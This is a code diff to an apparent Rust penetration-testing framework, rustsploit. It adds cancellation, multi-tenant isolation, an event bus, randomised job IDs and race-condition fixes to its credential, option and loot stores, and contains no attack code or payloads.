static VALID_CHARS: once_cell::sync::OnceCell<Regex> = once_cell::sync::OnceCell::new();
|
||||
let valid_chars = VALID_CHARS.get_or_try_init(|| {
|
||||
Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$")
|
||||
.map_err(|e| anyhow!("internal error: VALID_CHARS regex failed to compile: {e}"))
|
||||
})?;
|
||||
if !valid_chars.is_match(target) {
|
||||
return Err(anyhow!(
|
||||
"Target contains invalid characters. Allowed: letters, numbers, '.', '-', '_', ':', '[', ']'"
|
||||
|
||||
+87
-1
@@ -106,6 +106,14 @@ pub struct RunContext {
|
||||
/// Shared prompt cache for concurrent dispatch modes.
|
||||
/// When set, `cfg_prompt_*` functions check this cache before prompting stdin.
|
||||
pub prompt_cache: Option<PromptCache>,
|
||||
/// Cooperative cancellation signal for this run. `Job::kill` triggers
|
||||
/// `.cancel()` on this token; modules can check `crate::context::is_cancelled()`
|
||||
/// in their loops to terminate gracefully. Default is an unfired token, so
|
||||
/// modules that don't check it behave exactly as before.
|
||||
pub cancel: tokio_util::sync::CancellationToken,
|
||||
/// Tenant identity for multi-tenant isolation. Set from the PQ session's
|
||||
/// `client_name` in API mode; `None` in shell mode (falls back to "local").
|
||||
pub tenant_id: Option<String>,
|
||||
}
|
||||
|
||||
impl RunContext {
|
||||
@@ -116,6 +124,8 @@ impl RunContext {
|
||||
target: Some(target),
|
||||
output: OutputAccumulator::new(),
|
||||
prompt_cache: None,
|
||||
cancel: tokio_util::sync::CancellationToken::new(),
|
||||
tenant_id: None,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -127,8 +137,55 @@ impl RunContext {
|
||||
target: Some(target),
|
||||
output: OutputAccumulator::new(),
|
||||
prompt_cache: Some(cache),
|
||||
cancel: tokio_util::sync::CancellationToken::new(),
|
||||
tenant_id: None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Attach an externally-managed cancellation token (e.g. one owned by
|
||||
/// `JobManager` so `kill` can trigger it).
|
||||
pub fn with_cancellation(mut self, token: tokio_util::sync::CancellationToken) -> Self {
|
||||
self.cancel = token;
|
||||
self
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// COOPERATIVE CANCELLATION HELPERS
|
||||
// ============================================================
|
||||
|
||||
/// Returns `true` if the current run has been cancelled.
|
||||
///
|
||||
/// Module loops that want to be interruptible should call this each iteration:
|
||||
///
|
||||
/// ```ignore
|
||||
/// for target in targets {
|
||||
/// if crate::context::is_cancelled() { break; }
|
||||
/// ...
|
||||
/// }
|
||||
/// ```
|
||||
///
|
||||
/// Returns `false` if called outside of a `RUN_CONTEXT` scope (e.g. in tests
|
||||
/// or top-level CLI code), so it's always safe to call.
|
||||
#[allow(dead_code)] // public helper, called from modules that opt in
|
||||
pub fn is_cancelled() -> bool {
|
||||
RUN_CONTEXT.try_with(|ctx| ctx.cancel.is_cancelled()).unwrap_or(false)
|
||||
}
|
||||
|
||||
/// Returns a clone of the current run's cancellation token, suitable for
|
||||
/// passing to `tokio::select!` or `child.cancelled().await`.
|
||||
///
|
||||
/// Returns `None` if called outside of a `RUN_CONTEXT` scope.
|
||||
#[allow(dead_code)] // public helper, called from modules that opt in
|
||||
pub fn cancellation_token() -> Option<tokio_util::sync::CancellationToken> {
|
||||
RUN_CONTEXT.try_with(|ctx| ctx.cancel.clone()).ok()
|
||||
}
|
||||
|
||||
/// Returns the tenant_id for the current run, or `None` if not in a
|
||||
/// tenant-scoped context (shell mode / no RunContext).
|
||||
pub fn current_tenant_id() -> Option<String> {
|
||||
RUN_CONTEXT.try_with(|ctx| ctx.tenant_id.clone()).ok().flatten()
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
@@ -137,12 +194,41 @@ impl RunContext {
|
||||
|
||||
/// Execute an async closure inside a task-local `RUN_CONTEXT` with a target.
|
||||
/// Returns the closure's result plus the `RunContext`.
|
||||
/// Automatically inherits the tenant identity from `CURRENT_TENANT` if set.
|
||||
pub async fn run_with_context_target<F, Fut, T>(config: crate::config::ModuleConfig, target: String, f: F) -> (T, std::sync::Arc<RunContext>)
|
||||
where
|
||||
F: FnOnce() -> Fut,
|
||||
Fut: std::future::Future<Output = T>,
|
||||
{
|
||||
let ctx = std::sync::Arc::new(RunContext::with_target(config, target));
|
||||
let mut rc = RunContext::with_target(config, target);
|
||||
if let Ok(tid) = crate::tenant::CURRENT_TENANT.try_with(|t| t.clone()) {
|
||||
rc.tenant_id = Some(tid);
|
||||
}
|
||||
let ctx = std::sync::Arc::new(rc);
|
||||
let ctx_clone = ctx.clone();
|
||||
let result = RUN_CONTEXT.scope(ctx_clone, f()).await;
|
||||
(result, ctx)
|
||||
}
|
||||
|
||||
/// Same as `run_with_context_target`, but threads an externally-managed
|
||||
/// `CancellationToken` into the `RunContext`. Used by the job manager so that
|
||||
/// `Job::kill` can signal cooperative cancellation to module code via
|
||||
/// `crate::context::is_cancelled()`.
|
||||
pub async fn run_with_context_target_and_cancel<F, Fut, T>(
|
||||
config: crate::config::ModuleConfig,
|
||||
target: String,
|
||||
cancel: tokio_util::sync::CancellationToken,
|
||||
f: F,
|
||||
) -> (T, std::sync::Arc<RunContext>)
|
||||
where
|
||||
F: FnOnce() -> Fut,
|
||||
Fut: std::future::Future<Output = T>,
|
||||
{
|
||||
let mut rc = RunContext::with_target(config, target).with_cancellation(cancel);
|
||||
if let Ok(tid) = crate::tenant::CURRENT_TENANT.try_with(|t| t.clone()) {
|
||||
rc.tenant_id = Some(tid);
|
||||
}
|
||||
let ctx = std::sync::Arc::new(rc);
|
||||
let ctx_clone = ctx.clone();
|
||||
let result = RUN_CONTEXT.scope(ctx_clone, f()).await;
|
||||
(result, ctx)
|
||||
|
||||
+47
-33
@@ -48,12 +48,17 @@ pub struct CredStore {
|
||||
|
||||
impl CredStore {
|
||||
fn new() -> Self {
|
||||
let file_path = home::home_dir()
|
||||
let base = home::home_dir()
|
||||
.unwrap_or_else(|| PathBuf::from("."))
|
||||
.join(".rustsploit")
|
||||
.join("creds.json");
|
||||
.join(".rustsploit");
|
||||
Self::with_base_dir(base)
|
||||
}
|
||||
|
||||
// Synchronous load at init time (called once from Lazy)
|
||||
/// Create a credential store under a custom base directory.
|
||||
pub(crate) fn with_base_dir(base: PathBuf) -> Self {
|
||||
let file_path = base.join("creds.json");
|
||||
|
||||
// Synchronous load at init time
|
||||
let entries = if file_path.exists() {
|
||||
match std::fs::read_to_string(&file_path) {
|
||||
Ok(contents) => match serde_json::from_str(&contents) {
|
||||
@@ -68,7 +73,12 @@ impl CredStore {
|
||||
}
|
||||
},
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to read creds.json: {}", e);
|
||||
// Read errors here are typically EACCES/EIO — back up the
|
||||
// unreadable file so we don't silently overwrite a user's
|
||||
// creds with an empty store.
|
||||
eprintln!("[!] Failed to read creds.json: {}. Preserving original.", e);
|
||||
let backup = file_path.with_extension("json.unreadable");
|
||||
let _ = std::fs::rename(&file_path, &backup);
|
||||
Vec::new()
|
||||
}
|
||||
}
|
||||
@@ -116,12 +126,16 @@ impl CredStore {
|
||||
timestamp: chrono::Local::now().format("%Y-%m-%d %H:%M:%S").to_string(),
|
||||
valid: true,
|
||||
};
|
||||
let snapshot = {
|
||||
// P1-1: hold the write lock across the disk save. Previous code
|
||||
// released the lock before calling `save_locked`, letting two
|
||||
// concurrent writers land disk writes in the wrong order — disk
|
||||
// and in-memory state could diverge after restart.
|
||||
{
|
||||
let mut entries = self.entries.write().await;
|
||||
entries.push(entry);
|
||||
entries.clone()
|
||||
};
|
||||
self.save_locked(&snapshot).await;
|
||||
let snapshot = entries.clone();
|
||||
self.save_locked(&snapshot).await;
|
||||
}
|
||||
Some(id)
|
||||
}
|
||||
|
||||
@@ -142,18 +156,15 @@ impl CredStore {
|
||||
|
||||
/// Delete a credential by ID.
|
||||
pub async fn delete(&self, id: &str) -> bool {
|
||||
let snapshot = {
|
||||
let mut entries = self.entries.write().await;
|
||||
let before = entries.len();
|
||||
entries.retain(|e| e.id != id);
|
||||
if entries.len() < before {
|
||||
Some(entries.clone())
|
||||
} else {
|
||||
None
|
||||
}
|
||||
};
|
||||
if let Some(data) = snapshot {
|
||||
self.save_locked(&data).await;
|
||||
// P1-1: same lock-during-save fix as `add()`. Holding the write
|
||||
// lock through the disk write keeps in-memory and on-disk state in
|
||||
// agreement under concurrent ops.
|
||||
let mut entries = self.entries.write().await;
|
||||
let before = entries.len();
|
||||
entries.retain(|e| e.id != id);
|
||||
if entries.len() < before {
|
||||
let snapshot = entries.clone();
|
||||
self.save_locked(&snapshot).await;
|
||||
return true;
|
||||
}
|
||||
false
|
||||
@@ -161,10 +172,9 @@ impl CredStore {
|
||||
|
||||
/// Clear all credentials.
|
||||
pub async fn clear(&self) {
|
||||
{
|
||||
self.entries.write().await.clear();
|
||||
}
|
||||
self.save_locked(&[]).await;
|
||||
let mut entries = self.entries.write().await;
|
||||
entries.clear();
|
||||
self.save_locked(&entries).await;
|
||||
}
|
||||
|
||||
async fn save_locked(&self, entries: &[CredEntry]) {
|
||||
@@ -183,14 +193,16 @@ impl CredStore {
|
||||
}
|
||||
};
|
||||
{
|
||||
let file = match tokio::fs::OpenOptions::new()
|
||||
.write(true)
|
||||
.create(true)
|
||||
.truncate(true)
|
||||
.mode(0o600)
|
||||
.open(&tmp)
|
||||
.await
|
||||
// P1-7: O_NOFOLLOW + create-with-mode atomically. A symlink raced
|
||||
// into place between create and open would otherwise redirect the
|
||||
// write to a privileged path with the credentials' contents.
|
||||
let mut opts = tokio::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true).mode(0o600);
|
||||
#[cfg(unix)]
|
||||
{
|
||||
opts.custom_flags(libc::O_NOFOLLOW);
|
||||
}
|
||||
let file = match opts.open(&tmp).await {
|
||||
Ok(f) => f,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to write temp creds file: {}", e);
|
||||
@@ -254,6 +266,7 @@ impl CredStore {
|
||||
pub static CRED_STORE: Lazy<CredStore> = Lazy::new(CredStore::new);
|
||||
|
||||
/// Convenience function for modules to store a discovered credential.
|
||||
/// Routes through the tenant registry when in a tenant context (API mode).
|
||||
pub async fn store_credential(
|
||||
host: &str,
|
||||
port: u16,
|
||||
@@ -263,5 +276,6 @@ pub async fn store_credential(
|
||||
cred_type: CredType,
|
||||
source_module: &str,
|
||||
) -> Option<String> {
|
||||
CRED_STORE.add(host, port, service, username, secret, cred_type, source_module).await
|
||||
let s = crate::tenant::resolve();
|
||||
s.cred_store().add(host, port, service, username, secret, cred_type, source_module).await
|
||||
}
|
||||
|
||||
+148
@@ -0,0 +1,148 @@
|
||||
// src/events.rs
|
||||
//
|
||||
// Structured module-event broadcast channel.
|
||||
//
|
||||
// This is a parallel surface to the human-facing `mprintln!` text macros:
|
||||
// modules emit machine-readable findings here, and the API / MCP / WebSocket
|
||||
// layers subscribe to consume them. The text macros stay — humans still read
|
||||
// stdout / spool — but consumers that want to know "did a credential get
|
||||
// found" no longer need to grep stdout.
|
||||
//
|
||||
// ## Versioning discipline
|
||||
//
|
||||
// `ModuleEvent` is `#[non_exhaustive]`. Adding a new variant is **not** a
|
||||
// breaking change for downstream consumers, because the compiler forces
|
||||
// every `match` to include a `_` arm. New variants will be added over time
|
||||
// without bumping the API version.
|
||||
//
|
||||
// New variants must be additive — never re-purpose, rename, or change the
|
||||
// shape of an existing variant. If a variant turns out to be wrong, deprecate
|
||||
// it and add a new one alongside; remove the old one only across a major
|
||||
// version boundary.
|
||||
//
|
||||
// ## Adoption is voluntary
|
||||
//
|
||||
// Modules that don't call `emit(...)` produce no events. Subscribers that
|
||||
// don't `subscribe()` are unaffected. The channel is designed so that v1
|
||||
// callers can opt in incrementally without coordinated rollout.
|
||||
|
||||
use serde::Serialize;
|
||||
use tokio::sync::broadcast;
|
||||
|
||||
/// Per-process broadcast channel capacity. When the channel is full, the
|
||||
/// oldest events are dropped (broadcast semantics) — subscribers see a
|
||||
/// `RecvError::Lagged(N)` they must handle. 1024 is enough for bursty
|
||||
/// workloads (mass scans) without unbounded memory.
|
||||
const CHANNEL_CAPACITY: usize = 1024;
|
||||
|
||||
/// A structured event emitted by a module to describe a finding or progress
|
||||
/// signal.
|
||||
///
|
||||
/// **Stability**: this enum is `#[non_exhaustive]`. New variants will be
|
||||
/// added; consumers MUST include a `_` arm in every `match`.
|
||||
///
|
||||
/// **v1 surface (committed)**:
|
||||
/// - `ModuleStarted` — a module is beginning execution against a target.
|
||||
/// - `ModuleFinished` — a module has finished, with a success/failure flag.
|
||||
/// - `HostUp` — discovered host is responsive.
|
||||
/// - `ServiceDetected` — a host:port is running an identified service.
|
||||
/// - `CredentialFound` — valid credential was confirmed on a service.
|
||||
/// - `LootStored` — module saved an artefact to the loot store.
|
||||
#[non_exhaustive]
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
#[serde(tag = "type", rename_all = "snake_case")]
|
||||
pub enum ModuleEvent {
|
||||
ModuleStarted {
|
||||
module: String,
|
||||
target: String,
|
||||
},
|
||||
ModuleFinished {
|
||||
module: String,
|
||||
target: String,
|
||||
success: bool,
|
||||
},
|
||||
HostUp {
|
||||
host: String,
|
||||
},
|
||||
ServiceDetected {
|
||||
host: String,
|
||||
port: u16,
|
||||
service: String,
|
||||
version: Option<String>,
|
||||
},
|
||||
CredentialFound {
|
||||
host: String,
|
||||
port: u16,
|
||||
service: String,
|
||||
username: String,
|
||||
},
|
||||
LootStored {
|
||||
id: String,
|
||||
host: String,
|
||||
kind: String,
|
||||
},
|
||||
/// PQ handshake was accepted; a new session is now live for `client_name`.
|
||||
/// Emitted by `pq_middleware::handshake_handler` on success.
|
||||
PqHandshakeAccepted {
|
||||
client_name: String,
|
||||
},
|
||||
/// PQ handshake was rejected. `reason` is a short, non-secret summary;
|
||||
/// `peer` is the remote socket address as a string (no resolution).
|
||||
PqHandshakeRejected {
|
||||
reason: String,
|
||||
peer: String,
|
||||
},
|
||||
/// An authorized key was revoked. `sessions_terminated` is the number of
|
||||
/// in-memory sessions torn down as a side effect.
|
||||
PqIdentityRevoked {
|
||||
name: String,
|
||||
by: String,
|
||||
sessions_terminated: usize,
|
||||
},
|
||||
/// A session was evicted from the in-memory store, either because the
|
||||
/// per-process cap was hit or as part of an explicit revocation.
|
||||
PqSessionEvicted {
|
||||
client_name: String,
|
||||
},
|
||||
}
|
||||
|
||||
/// Envelope that carries a module event along with the tenant that produced it.
|
||||
/// Subscribers filter on `tenant_id` to enforce cross-tenant isolation.
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct TenantEvent {
|
||||
pub tenant_id: Option<String>,
|
||||
pub event: ModuleEvent,
|
||||
}
|
||||
|
||||
/// Singleton event bus. One per process, lazily initialised.
|
||||
static EVENT_BUS: std::sync::OnceLock<broadcast::Sender<TenantEvent>> =
|
||||
std::sync::OnceLock::new();
|
||||
|
||||
fn bus() -> &'static broadcast::Sender<TenantEvent> {
|
||||
EVENT_BUS.get_or_init(|| broadcast::channel(CHANNEL_CAPACITY).0)
|
||||
}
|
||||
|
||||
/// Subscribe to the module-event stream.
|
||||
///
|
||||
/// Returns a `broadcast::Receiver<TenantEvent>`. Subscribers MUST filter
|
||||
/// on `tenant_id` to prevent cross-tenant data leakage.
|
||||
pub fn subscribe() -> broadcast::Receiver<TenantEvent> {
|
||||
bus().subscribe()
|
||||
}
|
||||
|
||||
/// Emit a structured event. Automatically tags with the current tenant
|
||||
/// context (from `CURRENT_TENANT` task-local or `RunContext::tenant_id`).
|
||||
pub fn emit(event: ModuleEvent) {
|
||||
let tenant_id = crate::context::current_tenant_id()
|
||||
.or_else(|| {
|
||||
crate::tenant::CURRENT_TENANT
|
||||
.try_with(|t| t.clone())
|
||||
.ok()
|
||||
});
|
||||
let _ = bus().send(TenantEvent { tenant_id, event });
|
||||
}
|
||||
|
||||
/// Subscriber count, useful for debug logging.
|
||||
pub fn subscriber_count() -> usize {
|
||||
bus().receiver_count()
|
||||
}
|
||||
+5
-4
@@ -43,15 +43,16 @@ struct EngagementExport {
|
||||
/// Workspace data is snapshotted in a single read to avoid mixing data
|
||||
/// across concurrent workspace switches.
|
||||
async fn gather_data() -> EngagementExport {
|
||||
let workspace_name = crate::workspace::WORKSPACE.current_name().await;
|
||||
let workspace_data = crate::workspace::WORKSPACE.get_data().await;
|
||||
let s = crate::tenant::resolve();
|
||||
let workspace_name = s.workspace().current_name().await;
|
||||
let workspace_data = s.workspace().get_data().await;
|
||||
EngagementExport {
|
||||
workspace: workspace_name,
|
||||
exported_at: chrono::Local::now().format("%Y-%m-%d %H:%M:%S").to_string(),
|
||||
hosts: workspace_data.hosts,
|
||||
services: workspace_data.services,
|
||||
credentials: crate::cred_store::CRED_STORE.list().await,
|
||||
loot: crate::loot::LOOT_STORE.list().await,
|
||||
credentials: s.cred_store().list().await,
|
||||
loot: s.loot_store().list().await,
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+37
-25
@@ -15,10 +15,15 @@ pub struct GlobalOptions {
|
||||
|
||||
impl GlobalOptions {
|
||||
fn new() -> Self {
|
||||
let file_path = home::home_dir()
|
||||
let base = home::home_dir()
|
||||
.unwrap_or_else(|| PathBuf::from("."))
|
||||
.join(".rustsploit")
|
||||
.join("global_options.json");
|
||||
.join(".rustsploit");
|
||||
Self::with_base_dir(base)
|
||||
}
|
||||
|
||||
/// Create a global options store under a custom base directory.
|
||||
pub(crate) fn with_base_dir(base: PathBuf) -> Self {
|
||||
let file_path = base.join("global_options.json");
|
||||
|
||||
let options = if file_path.exists() {
|
||||
match std::fs::read_to_string(&file_path) {
|
||||
@@ -58,27 +63,27 @@ impl GlobalOptions {
|
||||
if key.is_empty() || key.len() > Self::MAX_KEY_LEN || value.len() > Self::MAX_VALUE_LEN {
|
||||
return false;
|
||||
}
|
||||
let snapshot = {
|
||||
let mut opts = self.options.write().await;
|
||||
if opts.len() >= Self::MAX_ENTRIES && !opts.contains_key(key) {
|
||||
return false;
|
||||
}
|
||||
opts.insert(key.to_string(), value.to_string());
|
||||
opts.clone()
|
||||
};
|
||||
// P1-1: hold the lock across the disk save. Previous code released
|
||||
// the lock before persisting, allowing two concurrent setters to
|
||||
// disagree on what the on-disk file contains.
|
||||
let mut opts = self.options.write().await;
|
||||
if opts.len() >= Self::MAX_ENTRIES && !opts.contains_key(key) {
|
||||
return false;
|
||||
}
|
||||
opts.insert(key.to_string(), value.to_string());
|
||||
let snapshot = opts.clone();
|
||||
self.save_locked(&snapshot).await;
|
||||
true
|
||||
}
|
||||
|
||||
/// Remove a global option. Persists to disk.
|
||||
pub async fn unset(&self, key: &str) -> bool {
|
||||
let snapshot = {
|
||||
let mut opts = self.options.write().await;
|
||||
let removed = opts.remove(key).is_some();
|
||||
if removed { Some(opts.clone()) } else { None }
|
||||
};
|
||||
if let Some(data) = snapshot {
|
||||
self.save_locked(&data).await;
|
||||
// P1-1: same lock-during-save fix as `set()`.
|
||||
let mut opts = self.options.write().await;
|
||||
let removed = opts.remove(key).is_some();
|
||||
if removed {
|
||||
let snapshot = opts.clone();
|
||||
self.save_locked(&snapshot).await;
|
||||
return true;
|
||||
}
|
||||
false
|
||||
@@ -92,6 +97,9 @@ impl GlobalOptions {
|
||||
/// Synchronous blocking get for use in non-async contexts.
|
||||
/// Spins briefly if a writer holds the lock, so user-set values
|
||||
/// are never silently replaced by defaults during a concurrent save.
|
||||
/// If all retries are exhausted (only possible if a long-running writer
|
||||
/// holds the lock), logs a debug warning so the silent-default fallback
|
||||
/// is observable in tracing.
|
||||
pub fn try_get(&self, key: &str) -> Option<String> {
|
||||
for _ in 0..50 {
|
||||
if let Ok(guard) = self.options.try_read() {
|
||||
@@ -99,6 +107,10 @@ impl GlobalOptions {
|
||||
}
|
||||
std::thread::sleep(std::time::Duration::from_millis(1));
|
||||
}
|
||||
tracing::debug!(
|
||||
key,
|
||||
"global_options try_get gave up after 50ms — caller will fall back to default"
|
||||
);
|
||||
None
|
||||
}
|
||||
|
||||
@@ -124,14 +136,14 @@ impl GlobalOptions {
|
||||
}
|
||||
};
|
||||
{
|
||||
let file = match tokio::fs::OpenOptions::new()
|
||||
.write(true)
|
||||
.create(true)
|
||||
.truncate(true)
|
||||
.mode(0o600)
|
||||
.open(&tmp)
|
||||
.await
|
||||
// P1-7: O_NOFOLLOW + create-with-mode atomically.
|
||||
let mut opts = tokio::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true).mode(0o600);
|
||||
#[cfg(unix)]
|
||||
{
|
||||
opts.custom_flags(libc::O_NOFOLLOW);
|
||||
}
|
||||
let file = match opts.open(&tmp).await {
|
||||
Ok(f) => f,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to write temp options file: {}", e);
|
||||
|
||||
+74
-12
@@ -4,9 +4,12 @@ use std::sync::Arc;
|
||||
use std::sync::LazyLock as Lazy;
|
||||
use std::sync::RwLock;
|
||||
|
||||
use rand::RngExt;
|
||||
|
||||
use colored::*;
|
||||
use serde::Serialize;
|
||||
use tokio::sync::{broadcast, watch};
|
||||
use tokio_util::sync::CancellationToken;
|
||||
|
||||
#[derive(Clone, Debug, Serialize)]
|
||||
pub enum JobEvent {
|
||||
@@ -47,6 +50,7 @@ pub struct JobProgress {
|
||||
}
|
||||
|
||||
const MAX_OUTPUT_LINES: usize = 5000;
|
||||
const MAX_LINE_BYTES: usize = 10_240;
|
||||
|
||||
impl JobProgress {
|
||||
pub fn new() -> Arc<Self> {
|
||||
@@ -61,11 +65,19 @@ impl JobProgress {
|
||||
}
|
||||
|
||||
pub fn push_line(&self, line: String) {
|
||||
let capped = if line.len() > MAX_LINE_BYTES {
|
||||
let mut t = line;
|
||||
t.truncate(MAX_LINE_BYTES);
|
||||
t.push_str(" [truncated]");
|
||||
t
|
||||
} else {
|
||||
line
|
||||
};
|
||||
if let Ok(mut buf) = self.output.write() {
|
||||
if buf.len() >= MAX_OUTPUT_LINES {
|
||||
buf.pop_front();
|
||||
}
|
||||
buf.push_back(line);
|
||||
buf.push_back(capped);
|
||||
}
|
||||
self.total_lines_pushed.fetch_add(1, Ordering::Relaxed);
|
||||
if let Ok(mut ts) = self.last_activity.write() {
|
||||
@@ -96,7 +108,13 @@ pub struct Job {
|
||||
pub status: JobStatus,
|
||||
pub progress: Arc<JobProgress>,
|
||||
finished_at: Option<std::time::Instant>,
|
||||
/// Lifecycle signal observed by the outer `tokio::select!` arm in `spawn`.
|
||||
/// Triggered together with `cancel_token` from `kill`.
|
||||
cancel_tx: watch::Sender<bool>,
|
||||
/// Cooperative-cancellation signal passed into the module's `RunContext`.
|
||||
/// Module loops can poll `crate::context::is_cancelled()` to terminate
|
||||
/// gracefully when `kill` is invoked.
|
||||
cancel_token: CancellationToken,
|
||||
handle: Option<tokio::task::JoinHandle<()>>,
|
||||
}
|
||||
|
||||
@@ -107,24 +125,32 @@ const DEFAULT_MAX_RUNNING: usize = 5;
|
||||
/// Manages background jobs.
|
||||
pub struct JobManager {
|
||||
jobs: RwLock<HashMap<u32, Job>>,
|
||||
next_id: AtomicU32,
|
||||
max_running: AtomicU32,
|
||||
event_tx: broadcast::Sender<JobEvent>,
|
||||
}
|
||||
|
||||
impl JobManager {
|
||||
fn new() -> Self {
|
||||
use rand::RngExt;
|
||||
let start = rand::rng().random_range(1..(1u32 << 24));
|
||||
pub(crate) fn new() -> Self {
|
||||
let (event_tx, _) = broadcast::channel(256);
|
||||
Self {
|
||||
jobs: RwLock::new(HashMap::new()),
|
||||
next_id: AtomicU32::new(start),
|
||||
max_running: AtomicU32::new(DEFAULT_MAX_RUNNING as u32),
|
||||
event_tx,
|
||||
}
|
||||
}
|
||||
|
||||
/// P1-2: generate an unpredictable u32 job ID across the full 32-bit space
|
||||
/// (skipping 0). Sequential IDs let one tenant guess another tenant's
|
||||
/// `jobId` and subscribe to / kill it. With MAX_JOBS = 1000 the birthday
|
||||
/// collision probability is ~1.2e-4 per spawn — the retry loop in `spawn`
|
||||
/// covers the rare hit.
|
||||
fn fresh_id() -> u32 {
|
||||
let mut rng = rand::rng();
|
||||
let mut id: u32 = rng.random();
|
||||
if id == 0 { id = 1; }
|
||||
id
|
||||
}
|
||||
|
||||
pub fn subscribe(&self) -> broadcast::Receiver<JobEvent> {
|
||||
self.event_tx.subscribe()
|
||||
}
|
||||
@@ -166,9 +192,9 @@ impl JobManager {
|
||||
));
|
||||
}
|
||||
|
||||
let mut id = self.next_id.fetch_add(1, Ordering::Relaxed);
|
||||
let mut id = Self::fresh_id();
|
||||
while jobs.contains_key(&id) {
|
||||
id = self.next_id.fetch_add(1, Ordering::Relaxed);
|
||||
id = Self::fresh_id();
|
||||
}
|
||||
|
||||
if jobs.len() >= MAX_JOBS {
|
||||
@@ -191,6 +217,8 @@ impl JobManager {
|
||||
}
|
||||
|
||||
let (cancel_tx, cancel_rx) = watch::channel(false);
|
||||
let cancel_token = CancellationToken::new();
|
||||
let cancel_token_for_task = cancel_token.clone();
|
||||
let progress = JobProgress::new();
|
||||
let prog_clone = progress.clone();
|
||||
let mod_clone = module.clone();
|
||||
@@ -202,24 +230,46 @@ impl JobManager {
|
||||
let handle = tokio::spawn(async move {
|
||||
let mut rx = cancel_rx;
|
||||
prog_clone.push_line(format!("[*] Starting {} against {}", mod_clone, tgt_clone));
|
||||
// P2-A10 / P3-15: catch panics from inside the module so the job
|
||||
// surfaces as Failed instead of staying "Running" forever after
|
||||
// `tokio::spawn` swallows the panic. Requires `AssertUnwindSafe`
|
||||
// because the inner future closes over arbitrary module state.
|
||||
use futures::FutureExt;
|
||||
use std::panic::AssertUnwindSafe;
|
||||
let run_fut = {
|
||||
let m = mod_clone.clone();
|
||||
let t = tgt_clone.clone();
|
||||
async move {
|
||||
let token = cancel_token_for_task;
|
||||
AssertUnwindSafe(async move {
|
||||
if let Some(cfg) = config {
|
||||
let (result, _ctx) = crate::context::run_with_context_target(
|
||||
let (result, _ctx) = crate::context::run_with_context_target_and_cancel(
|
||||
cfg,
|
||||
t.clone(),
|
||||
token,
|
||||
|| async move { crate::commands::run_module(&m, &t, verbose).await },
|
||||
).await;
|
||||
result
|
||||
} else {
|
||||
crate::commands::run_module(&m, &t, verbose).await
|
||||
}
|
||||
}
|
||||
})
|
||||
.catch_unwind()
|
||||
};
|
||||
tokio::select! {
|
||||
result = run_fut => {
|
||||
let result = match result {
|
||||
Ok(inner) => inner,
|
||||
Err(panic) => {
|
||||
let msg = if let Some(s) = panic.downcast_ref::<&str>() {
|
||||
format!("module panicked: {}", s)
|
||||
} else if let Some(s) = panic.downcast_ref::<String>() {
|
||||
format!("module panicked: {}", s)
|
||||
} else {
|
||||
"module panicked (unknown payload)".to_string()
|
||||
};
|
||||
Err(anyhow::anyhow!(msg))
|
||||
}
|
||||
};
|
||||
match result {
|
||||
Ok(_) => {
|
||||
prog_clone.push_line(format!("[+] Completed: {} against {}", mod_clone, tgt_clone));
|
||||
@@ -257,6 +307,7 @@ impl JobManager {
|
||||
progress: progress.clone(),
|
||||
finished_at: None,
|
||||
cancel_tx,
|
||||
cancel_token,
|
||||
handle: Some(handle),
|
||||
});
|
||||
drop(jobs);
|
||||
@@ -276,7 +327,10 @@ impl JobManager {
|
||||
let handle_and_tx = {
|
||||
let mut jobs = match self.jobs.write() {
|
||||
Ok(j) => j,
|
||||
Err(_) => return false,
|
||||
Err(e) => {
|
||||
tracing::warn!(job_id = id, "JobManager write lock poisoned during kill: {}", e);
|
||||
return false;
|
||||
}
|
||||
};
|
||||
let job = match jobs.get_mut(&id) {
|
||||
Some(j) => j,
|
||||
@@ -285,6 +339,10 @@ impl JobManager {
|
||||
if let Err(e) = job.cancel_tx.send(true) {
|
||||
crate::meprintln!("[!] Job cancel signal error: {}", e);
|
||||
}
|
||||
// Trigger cooperative cancellation visible to module code via
|
||||
// `crate::context::is_cancelled()`. Idempotent — safe to call
|
||||
// even if the watch::Sender already fired.
|
||||
job.cancel_token.cancel();
|
||||
job.status = JobStatus::Cancelled;
|
||||
if job.finished_at.is_none() {
|
||||
job.finished_at = Some(std::time::Instant::now());
|
||||
@@ -293,9 +351,13 @@ impl JobManager {
|
||||
};
|
||||
if let Some(handle) = handle_and_tx {
|
||||
let abort_handle = handle.abort_handle();
|
||||
// Fire-and-forget cleanup: give the job 2s to honour the
|
||||
// cooperative cancel before we hard-abort. We log via tracing
|
||||
// so a panic in the cleanup task isn't silently swallowed.
|
||||
tokio::spawn(async move {
|
||||
tokio::time::sleep(std::time::Duration::from_secs(2)).await;
|
||||
if !handle.is_finished() {
|
||||
tracing::debug!("Job did not exit within 2s — hard-aborting");
|
||||
abort_handle.abort();
|
||||
}
|
||||
});
|
||||
|
||||
+80
-39
@@ -29,7 +29,11 @@ impl LootStore {
|
||||
let base = home::home_dir()
|
||||
.unwrap_or_else(|| PathBuf::from("."))
|
||||
.join(".rustsploit");
|
||||
Self::with_base_dir(base)
|
||||
}
|
||||
|
||||
/// Create a loot store under a custom base directory.
|
||||
pub(crate) fn with_base_dir(base: PathBuf) -> Self {
|
||||
let loot_dir = base.join("loot");
|
||||
use std::os::unix::fs::DirBuilderExt;
|
||||
if let Err(e) = std::fs::DirBuilder::new().mode(0o700).recursive(true).create(&loot_dir) {
|
||||
@@ -51,7 +55,9 @@ impl LootStore {
|
||||
}
|
||||
},
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to read loot_index.json: {}", e);
|
||||
eprintln!("[!] Failed to read loot_index.json: {}. Preserving original.", e);
|
||||
let backup = index_path.with_extension("json.unreadable");
|
||||
let _ = std::fs::rename(&index_path, &backup);
|
||||
Vec::new()
|
||||
}
|
||||
}
|
||||
@@ -68,6 +74,11 @@ impl LootStore {
|
||||
|
||||
